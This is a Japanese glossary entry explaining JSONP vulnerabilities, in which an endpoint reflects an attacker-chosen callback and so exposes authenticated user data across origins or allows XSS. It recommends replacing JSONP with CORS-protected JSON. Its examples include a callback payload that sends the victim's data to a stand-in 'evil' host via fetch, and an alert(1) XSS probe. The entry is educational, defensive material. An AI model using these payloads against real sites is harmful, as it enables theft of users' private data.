JSONP の脆弱性
JSONP の脆弱性 とは何ですか?
JSONP の脆弱性JSONP エンドポイントが認証済みの機密データを攻撃者指定のコールバック関数でラップして返すことにより発生するクロスオリジン情報漏洩。
JSONP(JSON with Padding)は、サーバが callback({...}) という形式の JavaScript を返し、リモートページが <script src> から取り込めるレガシーなクロスオリジン手法です。認証済みのユーザデータを返す JSONP エンドポイントで、コールバックパラメータが検証なしに反映されると脆弱性が生まれます。攻撃者は自前の関数名を指定したページから JSONP URL を読み込み、レスポンスを取得することで同一オリジンポリシーや当時の SameSite Cookie 保護を回避できます。さらに、識別子として有効でない値が反映される実装では XSS にもつながります。現代的なベストプラクティスは、JSONP を撤廃し、CORS で保護した JSON に置き換え、機密エンドポイントを <script> から取り込めないようにすることです。
● 例
- 01
/api/me?callback=window['x']=function(d){fetch('https://evil/?d='+JSON.stringify(d))}。
- 02
callback パラメータがそのまま反映され、callback=alert(1)// で XSS となる例。
● よくある質問
JSONP の脆弱性 とは何ですか?
JSONP エンドポイントが認証済みの機密データを攻撃者指定のコールバック関数でラップして返すことにより発生するクロスオリジン情報漏洩。 サイバーセキュリティの 攻撃と脅威 カテゴリに属します。
JSONP の脆弱性 とはどういう意味ですか?
JSONP エンドポイントが認証済みの機密データを攻撃者指定のコールバック関数でラップして返すことにより発生するクロスオリジン情報漏洩。
JSONP の脆弱性 からどのように防御しますか?
JSONP の脆弱性 に対する防御は通常、上記の定義で述べたとおり、技術的統制と運用上の実践を組み合わせます。
JSONP の脆弱性 の別名は何ですか?
一般的な別名: JSONP リーク, JSONP ハイジャック。